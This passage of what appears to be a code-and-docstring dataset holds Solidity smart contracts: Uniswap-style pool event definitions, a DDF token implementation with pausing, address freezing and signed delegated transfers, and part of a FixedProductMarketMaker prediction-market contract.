of the pool, as a Q64.96 /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); }
Subtract two numbers and return absolute value
function subAbs(uint256 amount0, uint256 amount1) internal pure returns (uint256) { return amount0 >= amount1 ? amount0.sub(amount1) : amount1.sub(amount0); }
1,686,962
pragma solidity ^0.4.24; pragma experimental "v0.5.0"; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } /** * @title DDFImplementationV2 * @dev this contract is a Pausable ERC20 token with Burn and Mint * controlled by a central SupplyController. By implementing DDFosImplementation * this contract also includes external methods for setting * a new implementation contract for the Proxy. * NOTE: The storage defined here will actually be held in the Proxy * contract and all calls to this contract should be made through * the proxy, including admin actions done as owner or supplyController. * Any call to transfer against this contract should fail * with insufficient funds since no tokens will be issued there. */ contract DDFImplementationV2 { /** * MATH */ using SafeMath for uint256; /** * DATA */ // INITIALIZATION DATA bool private initialized = false; // ERC20 BASIC DATA mapping(address => uint256) internal balances; uint256 internal totalSupply_; string public constant name = "DefiDao Fund"; // solium-disable-line string public constant symbol = "DDF"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase // ERC20 DATA mapping(address => mapping(address => uint256)) internal allowed; // OWNER DATA PART 1 address public owner; // PAUSABILITY DATA bool public paused = false; // ASSET PROTECTION DATA address public assetProtectionRole; mapping(address => bool) internal frozen; // SUPPLY CONTROL DATA address public supplyController; // OWNER DATA PART 2 address public proposedOwner; // DELEGATED TRANSFER DATA address public betaDelegateWhitelister; mapping(address => bool) internal betaDelegateWhitelist; mapping(address => uint256) internal nextSeqs; // EIP191 header for EIP712 prefix string constant internal EIP191_HEADER = "\x19\x01"; // Hash of the EIP712 Domain Separator Schema bytes32 constant internal EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH = keccak256( "EIP712Domain(string name,address verifyingContract)" ); bytes32 constant internal EIP712_DELEGATED_TRANSFER_SCHEMA_HASH = keccak256( "BetaDelegatedTransfer(address to,uint256 value,uint256 fee,uint256 seq,uint256 deadline)" ); // Hash of the EIP712 Domain Separator data // solhint-disable-next-line var-name-mixedcase bytes32 public EIP712_DOMAIN_HASH; /** * EVENTS */ // ERC20 BASIC EVENTS event Transfer(address indexed from, address indexed to, uint256 value); // ERC20 EVENTS event Approval( address indexed owner, address indexed spender, uint256 value ); // OWNABLE EVENTS event OwnershipTransferProposed( address indexed currentOwner, address indexed proposedOwner ); event OwnershipTransferDisregarded( address indexed oldProposedOwner ); event OwnershipTransferred( address indexed oldOwner, address indexed newOwner ); // PAUSABLE EVENTS event Pause(); event Unpause(); // ASSET PROTECTION EVENTS event AddressFrozen(address indexed addr); event AddressUnfrozen(address indexed addr); event FrozenAddressWiped(address indexed addr); event AssetProtectionRoleSet ( address indexed oldAssetProtectionRole, address indexed newAssetProtectionRole ); // SUPPLY CONTROL EVENTS event SupplyIncreased(address indexed to, uint256 value); event SupplyDecreased(address indexed from, uint256 value); event SupplyControllerSet( address indexed oldSupplyController, address indexed newSupplyController ); // DELEGATED TRANSFER EVENTS event BetaDelegatedTransfer( address indexed from, address indexed to, uint256 value, uint256 seq, uint256 fee ); event BetaDelegateWhitelisterSet( address indexed oldWhitelister, address indexed newWhitelister ); event BetaDelegateWhitelisted(address indexed newDelegate); event BetaDelegateUnwhitelisted(address indexed oldDelegate); /** * FUNCTIONALITY */ // INITIALIZATION FUNCTIONALITY /** * @dev sets 0 initials tokens, the owner, and the supplyController. * this serves as the constructor for the proxy but compiles to the * memory model of the Implementation contract. */ function initialize() public { require(!initialized, "already initialized"); owner = msg.sender; assetProtectionRole = address(0); totalSupply_ = 0; supplyController = msg.sender; initialized = true; } /** * The constructor is used here to ensure that the implementation * contract is initialized. An uncontrolled implementation * contract might lead to misleading state * for users who accidentally interact with it. */ constructor() public { initialize(); pause(); // Added in V2 initializeDomainSeparator(); } /** * @dev To be called when upgrading the contract using upgradeAndCall to add delegated transfers */ function initializeDomainSeparator() public { // hash the name context with the contract address EIP712_DOMAIN_HASH = keccak256(abi.encodePacked(// solium-disable-line EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH, keccak256(bytes(name)), bytes32(address(this)) )); proposedOwner = address(0); } // ERC20 BASIC FUNCTIONALITY /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token to a specified address from msg.sender * Note: the use of Safemath ensures that _value is nonnegative. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0), "cannot transfer to address zero"); require(!frozen[_to] && !frozen[msg.sender], "address frozen"); require(_value <= balances[msg.sender], "insufficient funds"); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _addr The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _addr) public view returns (uint256) { return balances[_addr]; } // ERC20 FUNCTIONALITY /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { require(_to != address(0), "cannot transfer to address zero"); require(!frozen[_to] && !frozen[_from] && !frozen[msg.sender], "address frozen"); require(_value <= balances[_from], "insufficient funds"); require(_value <= allowed[_from][msg.sender], "insufficient allowance"); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { require(!frozen[_spender] && !frozen[msg.sender], "address frozen"); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } // OWNER FUNCTIONALITY /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner, "onlyOwner"); _; } /** * @dev Allows the current owner to begin transferring control of the contract to a proposedOwner * @param _proposedOwner The address to transfer ownership to. */ function proposeOwner(address _proposedOwner) public onlyOwner { require(_proposedOwner != address(0), "cannot transfer ownership to address zero"); require(msg.sender != _proposedOwner, "caller already is owner"); proposedOwner = _proposedOwner; emit OwnershipTransferProposed(owner, proposedOwner); } /** * @dev Allows the current owner or proposed owner to cancel transferring control of the contract to a proposedOwner */ function disregardProposeOwner() public { require(msg.sender == proposedOwner || msg.sender == owner, "only proposedOwner or owner"); require(proposedOwner != address(0), "can only disregard a proposed owner that was previously set"); address _oldProposedOwner = proposedOwner; proposedOwner = address(0); emit OwnershipTransferDisregarded(_oldProposedOwner); } /** * @dev Allows the proposed owner to complete transferring control of the contract to the proposedOwner. */ function claimOwnership() public { require(msg.sender == proposedOwner, "onlyProposedOwner"); address _oldOwner = owner; owner = proposedOwner; proposedOwner = address(0); emit OwnershipTransferred(_oldOwner, owner); } /** * @dev Reclaim all DDF at the contract address. * This sends the DDF tokens that this contract add holding to the owner. * Note: this is not affected by freeze constraints. */ function reclaimDDF() external onlyOwner { uint256 _balance = balances[this]; balances[this] = 0; balances[owner] = balances[owner].add(_balance); emit Transfer(this, owner, _balance); } // PAUSABILITY FUNCTIONALITY /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused, "whenNotPaused"); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner { require(!paused, "already paused"); paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner { require(paused, "already unpaused"); paused = false; emit Unpause(); } // ASSET PROTECTION FUNCTIONALITY /** * @dev Sets a new asset protection role address. * @param _newAssetProtectionRole The new address allowed to freeze/unfreeze addresses and seize their tokens. */ function setAssetProtectionRole(address _newAssetProtectionRole) public { require(msg.sender == assetProtectionRole || msg.sender == owner, "only assetProtectionRole or Owner"); emit AssetProtectionRoleSet(assetProtectionRole, _newAssetProtectionRole); assetProtectionRole = _newAssetProtectionRole; } modifier onlyAssetProtectionRole() { require(msg.sender == assetProtectionRole, "onlyAssetProtectionRole"); _; } /** * @dev Freezes an address balance from being transferred. * @param _addr The new address to freeze. */ function freeze(address _addr) public onlyAssetProtectionRole { require(!frozen[_addr], "address already frozen"); frozen[_addr] = true; emit AddressFrozen(_addr); } /** * @dev Unfreezes an address balance allowing transfer. * @param _addr The new address to unfreeze. */ function unfreeze(address _addr) public onlyAssetProtectionRole { require(frozen[_addr], "address already unfrozen"); frozen[_addr] = false; emit AddressUnfrozen(_addr); } /** * @dev Wipes the balance of a frozen address, burning the tokens * and setting the approval to zero. * @param _addr The new frozen address to wipe. */ function wipeFrozenAddress(address _addr) public onlyAssetProtectionRole { require(frozen[_addr], "address is not frozen"); uint256 _balance = balances[_addr]; balances[_addr] = 0; totalSupply_ = totalSupply_.sub(_balance); emit FrozenAddressWiped(_addr); emit SupplyDecreased(_addr, _balance); emit Transfer(_addr, address(0), _balance); } /** * @dev Gets whether the address is currently frozen. * @param _addr The address to check if frozen. * @return A bool representing whether the given address is frozen. */ function isFrozen(address _addr) public view returns (bool) { return frozen[_addr]; } // SUPPLY CONTROL FUNCTIONALITY /** * @dev Sets a new supply controller address. * @param _newSupplyController The address allowed to burn/mint tokens to control supply. */ function setSupplyController(address _newSupplyController) public { require(msg.sender == supplyController || msg.sender == owner, "only SupplyController or Owner"); require(_newSupplyController != address(0), "cannot set supply controller to address zero"); emit SupplyControllerSet(supplyController, _newSupplyController); supplyController = _newSupplyController; } modifier onlySupplyController() { require(msg.sender == supplyController, "onlySupplyController"); _; } /** * @dev Increases the total supply by minting the specified number of tokens to the supply controller account. * @param _value The number of tokens to add. * @return A boolean that indicates if the operation was successful. */ function increaseSupply(uint256 _value) public onlySupplyController returns (bool success) { totalSupply_ = totalSupply_.add(_value); balances[supplyController] = balances[supplyController].add(_value); emit SupplyIncreased(supplyController, _value); emit Transfer(address(0), supplyController, _value); return true; } /** * @dev Decreases the total supply by burning the specified number of tokens from the supply controller account. * @param _value The number of tokens to remove. * @return A boolean that indicates if the operation was successful. */ function decreaseSupply(uint256 _value) public onlySupplyController returns (bool success) { require(_value <= balances[supplyController], "not enough supply"); balances[supplyController] = balances[supplyController].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit SupplyDecreased(supplyController, _value); emit Transfer(supplyController, address(0), _value); return true; } // DELEGATED TRANSFER FUNCTIONALITY /** * @dev returns the next seq for a target address. * The transactor must submit nextSeqOf(transactor) in the next transaction for it to be valid. * Note: that the seq context is specific to this smart contract. * @param target The target address. * @return the seq. */ // function nextSeqOf(address target) public view returns (uint256) { return nextSeqs[target]; } /** * @dev Performs a transfer on behalf of the from address, identified by its signature on the delegatedTransfer msg. * Splits a signature byte array into r,s,v for convenience. * @param sig the signature of the delgatedTransfer msg. * @param to The address to transfer to. * @param value The amount to be transferred. * @param fee an optional ERC20 fee paid to the executor of betaDelegatedTransfer by the from address. * @param seq a sequencing number included by the from address specific to this contract to protect from replays. * @param deadline a block number after which the pre-signed transaction has expired. * @return A boolean that indicates if the operation was successful. */ function betaDelegatedTransfer( bytes sig, address to, uint256 value, uint256 fee, uint256 seq, uint256 deadline ) public returns (bool) { require(sig.length == 65, "signature should have length 65"); bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } require(_betaDelegatedTransfer(r, s, v, to, value, fee, seq, deadline), "failed transfer"); return true; } /** * @dev Performs a transfer on behalf of the from address, identified by its signature on the betaDelegatedTransfer msg. * Note: both the delegate and transactor sign in the fees. The transactor, however, * has no control over the gas price, and therefore no control over the transaction time. * Beta prefix chosen to avoid a name clash with an emerging standard in ERC865 or elsewhere. * Internal to the contract - see betaDelegatedTransfer and betaDelegatedTransferBatch. * @param r the r signature of the delgatedTransfer msg. * @param s the s signature of the delgatedTransfer msg. * @param v the v signature of the delgatedTransfer msg. * @param to The address to transfer to. * @param value The amount to be transferred. * @param fee an optional ERC20 fee paid to the delegate of betaDelegatedTransfer by the from address. * @param seq a sequencing number included by the from address specific to this contract to protect from replays. * @param deadline a block number after which the pre-signed transaction has expired. * @return A boolean that indicates if the operation was successful. */ function _betaDelegatedTransfer( bytes32 r, bytes32 s, uint8 v, address to, uint256 value, uint256 fee, uint256 seq, uint256 deadline ) internal whenNotPaused returns (bool) { require(betaDelegateWhitelist[msg.sender], "Beta feature only accepts whitelisted delegates"); require(value > 0 || fee > 0, "cannot transfer zero tokens with zero fee"); require(block.number <= deadline, "transaction expired"); // prevent sig malleability from ecrecover() require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "signature incorrect"); require(v == 27 || v == 28, "signature incorrect"); // EIP712 scheme: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-712.md bytes32 delegatedTransferHash = keccak256(abi.encodePacked(// solium-disable-line EIP712_DELEGATED_TRANSFER_SCHEMA_HASH, bytes32(to), value, fee, seq, deadline )); bytes32 hash = keccak256(abi.encodePacked(EIP191_HEADER, EIP712_DOMAIN_HASH, delegatedTransferHash)); address _from = ecrecover(hash, v, r, s); require(_from != address(0), "error determining from address from signature"); require(to != address(0), "canno use address zero"); require(!frozen[to] && !frozen[_from] && !frozen[msg.sender], "address frozen"); require(value.add(fee) <= balances[_from], "insufficient fund"); require(nextSeqs[_from] == seq, "incorrect seq"); nextSeqs[_from] = nextSeqs[_from].add(1); balances[_from] = balances[_from].sub(value.add(fee)); if (fee != 0) { balances[msg.sender] = balances[msg.sender].add(fee); emit Transfer(_from, msg.sender, fee); } balances[to] = balances[to].add(value); emit Transfer(_from, to, value); emit BetaDelegatedTransfer(_from, to, value, seq, fee); return true; } /** * @dev Performs an atomic batch of transfers on behalf of the from addresses, identified by their signatures. * Lack of nested array support in arguments requires all arguments to be passed as equal size arrays where * delegated transfer number i is the combination of all arguments at index i * @param r the r signatures of the delgatedTransfer msg. * @param s the s signatures of the delgatedTransfer msg. * @param v the v signatures of the delgatedTransfer msg. * @param to The addresses to transfer to. * @param value The amounts to be transferred. * @param fee optional ERC20 fees paid to the delegate of betaDelegatedTransfer by the from address. * @param seq sequencing numbers included by the from address specific to this contract to protect from replays. * @param deadline block numbers after which the pre-signed transactions have expired. * @return A boolean that indicates if the operation was successful. */ function betaDelegatedTransferBatch( bytes32[] r, bytes32[] s, uint8[] v, address[] to, uint256[] value, uint256[] fee, uint256[] seq, uint256[] deadline ) public returns (bool) { require(r.length == s.length && r.length == v.length && r.length == to.length && r.length == value.length, "length mismatch"); require(r.length == fee.length && r.length == seq.length && r.length == deadline.length, "length mismatch"); for (uint i = 0; i < r.length; i++) { require( _betaDelegatedTransfer(r[i], s[i], v[i], to[i], value[i], fee[i], seq[i], deadline[i]), "failed transfer" ); } return true; } /** * @dev Gets whether the address is currently whitelisted for betaDelegateTransfer. * @param _addr The address to check if whitelisted. * @return A bool representing whether the given address is whitelisted. */ function isWhitelistedBetaDelegate(address _addr) public view returns (bool) { return betaDelegateWhitelist[_addr]; } /** * @dev Sets a new betaDelegate whitelister. * @param _newWhitelister The address allowed to whitelist betaDelegates. */ function setBetaDelegateWhitelister(address _newWhitelister) public { require(msg.sender == betaDelegateWhitelister || msg.sender == owner, "only Whitelister or Owner"); betaDelegateWhitelister = _newWhitelister; emit BetaDelegateWhitelisterSet(betaDelegateWhitelister, _newWhitelister); } modifier onlyBetaDelegateWhitelister() { require(msg.sender == betaDelegateWhitelister, "onlyBetaDelegateWhitelister"); _; } /** * @dev Whitelists an address to allow calling BetaDelegatedTransfer. * @param _addr The new address to whitelist. */ function whitelistBetaDelegate(address _addr) public onlyBetaDelegateWhitelister { require(!betaDelegateWhitelist[_addr], "delegate already whitelisted"); betaDelegateWhitelist[_addr] = true; emit BetaDelegateWhitelisted(_addr); } /** * @dev Unwhitelists an address to disallow calling BetaDelegatedTransfer. * @param _addr The new address to whitelist. */ function unwhitelistBetaDelegate(address _addr) public onlyBetaDelegateWhitelister { require(betaDelegateWhitelist[_addr], "delegate not whitelisted"); betaDelegateWhitelist[_addr] = false; emit BetaDelegateUnwhitelisted(_addr); } }
Reclaim all DDF at the contract address. This sends the DDF tokens that this contract add holding to the owner. Note: this is not affected by freeze constraints./
function reclaimDDF() external onlyOwner { uint256 _balance = balances[this]; balances[this] = 0; balances[owner] = balances[owner].add(_balance); emit Transfer(this, owner, _balance); }
6,508,078
pragma solidity ^0.5.16; import {SafeMath} from "openzeppelin-solidity/contracts/math/SafeMath.sol"; import {IERC20} from "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol"; import {ConditionalTokens} from "../../gnosis.pm/conditional-tokens-contracts/contracts/ConditionalTokens.sol"; import {CTHelpers} from "../../gnosis.pm/conditional-tokens-contracts/contracts/CTHelpers.sol"; import {ERC1155TokenReceiver} from "../../gnosis.pm/conditional-tokens-contracts/contracts/ERC1155/ERC1155TokenReceiver.sol"; import {ERC20} from "openzeppelin-solidity/contracts/token/ERC20/ERC20.sol"; import {TransferHelper} from "../Helpers/TransferHelper.sol"; import {IRoomOraclePrice} from "../RewardCenter/IRoomOraclePrice.sol"; library CeilDiv { // calculates ceil(x/y) function ceildiv(uint x, uint y) internal pure returns (uint) { if (x > 0) return ((x - 1) / y) + 1; return x / y; } } contract FixedProductMarketMaker is ERC1155TokenReceiver { using TransferHelper for IERC20; event FPMMFundingAdded( address indexed funder, uint[] amountsAdded, uint sharesMinted ); event FPMMFundingRemoved( address indexed funder, uint[] amountsRemoved, uint collateralRemovedFromFeePool, uint sharesBurnt ); /*event FPMMBuy( address indexed buyer, uint investmentAmount, uint feeAmount, uint indexed outcomeIndex, uint outcomeTokensBought ); event FPMMSell( address indexed seller, uint returnAmount, uint feeAmount, uint indexed outcomeIndex, uint outcomeTokensSold );*/ using SafeMath for uint; using CeilDiv for uint; address public proposer; uint constant ONE = 10 ** 18; address roomOracle; ConditionalTokens public conditionalTokens; IERC20 public collateralToken; bytes32[] public conditionIds; uint public totalFee; uint public lpFee; uint public proposerFee; uint internal feePoolWeight; uint public totalProposerFee; uint public withdrawnProposerFee; uint[] outcomeSlotCounts; bytes32[][] collectionIds; uint[] positionIds; mapping(address => uint256) withdrawnFees; uint internal totalWithdrawnFees; bool initiated; function init( ConditionalTokens _conditionalTokens, IERC20 _collateralToken, bytes32[] memory _conditionIds, uint _lpfee, uint _propserFee, address _proposer, address _roomOracle ) public { require(initiated == false, "Market Already initiated"); initiated = true; conditionalTokens = _conditionalTokens; collateralToken = _collateralToken; conditionIds = _conditionIds; lpFee = _lpfee; proposerFee = _propserFee; proposer = _proposer; totalFee = lpFee + proposerFee; roomOracle =_roomOracle; uint atomicOutcomeSlotCount = 1; outcomeSlotCounts = new uint[](conditionIds.length); for (uint i = 0; i < conditionIds.length; i++) { uint outcomeSlotCount = conditionalTokens.getOutcomeSlotCount(conditionIds[i]); atomicOutcomeSlotCount *= outcomeSlotCount; outcomeSlotCounts[i] = outcomeSlotCount; } require(atomicOutcomeSlotCount > 1, "conditions must be valid"); collectionIds = new bytes32[][](conditionIds.length); _recordCollectionIDsForAllConditions(conditionIds.length, bytes32(0)); require(positionIds.length == atomicOutcomeSlotCount, "position IDs construction failed!?"); } function _recordCollectionIDsForAllConditions(uint conditionsLeft, bytes32 parentCollectionId) private { if (conditionsLeft == 0) { positionIds.push(CTHelpers.getPositionId(collateralToken, parentCollectionId)); return; } conditionsLeft--; uint outcomeSlotCount = outcomeSlotCounts[conditionsLeft]; collectionIds[conditionsLeft].push(parentCollectionId); for (uint i = 0; i < outcomeSlotCount; i++) { _recordCollectionIDsForAllConditions( conditionsLeft, CTHelpers.getCollectionId( parentCollectionId, conditionIds[conditionsLeft], 1 << i ) ); } } function getPoolBalances() internal view returns (uint[] memory) { return getBalances(address(this)); } function getBalances(address account) public view returns (uint[] memory){ address[] memory thises = new address[](positionIds.length); for (uint i = 0; i < positionIds.length; i++) { thises[i] = account; } return conditionalTokens.balanceOfBatch(thises, positionIds); } function getMarketCollateralTotalSupply() public view returns(uint256){ uint256 collateralTotalSupply = 0; for (uint i = 0; i < positionIds.length; i++) { collateralTotalSupply = conditionalTokens.totalBalances(positionIds[i]).add(collateralTotalSupply); } return collateralTotalSupply.div(positionIds.length); } function generateBasicPartition(uint outcomeSlotCount) private pure returns (uint[] memory partition) { partition = new uint[](outcomeSlotCount); for (uint i = 0; i < outcomeSlotCount; i++) { partition[i] = 1 << i; } } function splitPositionThroughAllConditions(uint amount) private { for (uint i = conditionIds.length - 1; int(i) >= 0; i--) { uint[] memory partition = generateBasicPartition(outcomeSlotCounts[i]); for (uint j = 0; j < collectionIds[i].length; j++) { conditionalTokens.splitPosition(collateralToken, collectionIds[i][j], conditionIds[i], partition, amount); } } } function mergePositionsThroughAllConditions(uint amount) internal { for (uint i = 0; i < conditionIds.length; i++) { uint[] memory partition = generateBasicPartition(outcomeSlotCounts[i]); for (uint j = 0; j < collectionIds[i].length; j++) { conditionalTokens.mergePositions(collateralToken, collectionIds[i][j], conditionIds[i], partition, amount); } } } function collectedFees() external view returns (uint) { return feePoolWeight.sub(totalWithdrawnFees); } function feeLPWithdrawableBy(address account) public view returns (uint collateralAmount, uint roomAmount) { uint rawAmount = feePoolWeight.mul(balanceOf(account)) / totalSupply(); collateralAmount = rawAmount.sub(withdrawnFees[account]); roomAmount = IRoomOraclePrice(roomOracle).getExpectedRoomByToken(address(collateralToken),collateralAmount); } function feeProposerWithdrawable() public view returns(uint collateralAmount, uint roomAmount) { collateralAmount = totalProposerFee.sub(withdrawnProposerFee); roomAmount = IRoomOraclePrice(roomOracle).getExpectedRoomByToken(address(collateralToken),collateralAmount); } function withdrawProposerFee(uint256 minRoom) public { require(msg.sender == proposer, "only proposer can call"); (uint withdrawableAmount, ) = feeProposerWithdrawable(); if(withdrawableAmount > 0){ withdrawnProposerFee = withdrawnProposerFee.add(withdrawableAmount); collateralToken.safeApprove(roomOracle,withdrawableAmount); IRoomOraclePrice(roomOracle).buyRoom(address(collateralToken),withdrawableAmount,minRoom,msg.sender); } } function withdrawFees(uint256 minRoom) public { _withdrawFees(msg.sender,minRoom); } function _withdrawFees(address account, uint256 minRoom) internal { uint rawAmount = feePoolWeight.mul(balanceOf(account)) / totalSupply(); uint withdrawableAmount = rawAmount.sub(withdrawnFees[account]); if (withdrawableAmount > 0) { withdrawnFees[account] = rawAmount; totalWithdrawnFees = totalWithdrawnFees.add(withdrawableAmount); collateralToken.safeApprove(roomOracle,withdrawableAmount); IRoomOraclePrice(roomOracle).buyRoom(address(collateralToken),withdrawableAmount,minRoom,account); } } /* function _beforeTokenTransfer(address from, address to, uint256 amount) internal { if (from != address(0)) { withdrawFees(from); } uint totalSupply = totalSupply(); uint withdrawnFeesTransfer = totalSupply == 0 ? amount : feePoolWeight.mul(amount) / totalSupply; if (from != address(0)) { withdrawnFees[from] = withdrawnFees[from].sub(withdrawnFeesTransfer); totalWithdrawnFees = totalWithdrawnFees.sub(withdrawnFeesTransfer); } else { feePoolWeight = feePoolWeight.add(withdrawnFeesTransfer); } if (to != address(0)) { withdrawnFees[to] = withdrawnFees[to].add(withdrawnFeesTransfer); totalWithdrawnFees = totalWithdrawnFees.add(withdrawnFeesTransfer); } else { feePoolWeight = feePoolWeight.sub(withdrawnFeesTransfer); } } */ function addFundingTo(address beneficiary, uint addedFunds, uint[] memory distributionHint) internal returns(uint) { require(addedFunds > 0, "funding must be non-zero"); _beforeAddFundingTo(beneficiary,addedFunds); uint[] memory sendBackAmounts = new uint[](positionIds.length); uint poolShareSupply = totalSupply(); uint mintAmount; if (poolShareSupply > 0) { require(distributionHint.length == 0, "cannot use distribution hint after initial funding"); uint[] memory poolBalances = getPoolBalances(); uint poolWeight = 0; for (uint i = 0; i < poolBalances.length; i++) { uint balance = poolBalances[i]; if (poolWeight < balance) poolWeight = balance; } for (uint i = 0; i < poolBalances.length; i++) { uint remaining = addedFunds.mul(poolBalances[i]) / poolWeight; sendBackAmounts[i] = addedFunds.sub(remaining); } mintAmount = addedFunds.mul(poolShareSupply) / poolWeight; } else { if (distributionHint.length > 0) { require(distributionHint.length == positionIds.length, "hint length off"); uint maxHint = 0; for (uint i = 0; i < distributionHint.length; i++) { uint hint = distributionHint[i]; if (maxHint < hint) maxHint = hint; } for (uint i = 0; i < distributionHint.length; i++) { uint remaining = addedFunds.mul(distributionHint[i]) / maxHint; require(remaining > 0, "must hint a valid distribution"); sendBackAmounts[i] = addedFunds.sub(remaining); } } mintAmount = addedFunds; } collateralToken.safeTransferFrom(msg.sender, address(this), addedFunds); require(collateralToken.approve(address(conditionalTokens), addedFunds), "approval for splits failed"); splitPositionThroughAllConditions(addedFunds); _mint(beneficiary, mintAmount); conditionalTokens.safeBatchTransferFrom(address(this), beneficiary, positionIds, sendBackAmounts, ""); // transform sendBackAmounts to array of amounts added for (uint i = 0; i < sendBackAmounts.length; i++) { sendBackAmounts[i] = addedFunds.sub(sendBackAmounts[i]); } emit FPMMFundingAdded(beneficiary, sendBackAmounts, mintAmount); return mintAmount; } function removeFundingTo(address beneficiary, uint sharesToBurn, bool withdrawFeesFlag) internal { _beforeRemoveFundingTo(beneficiary, sharesToBurn); uint[] memory poolBalances = getPoolBalances(); uint[] memory sendAmounts = new uint[](poolBalances.length); uint poolShareSupply = totalSupply(); for (uint i = 0; i < poolBalances.length; i++) { 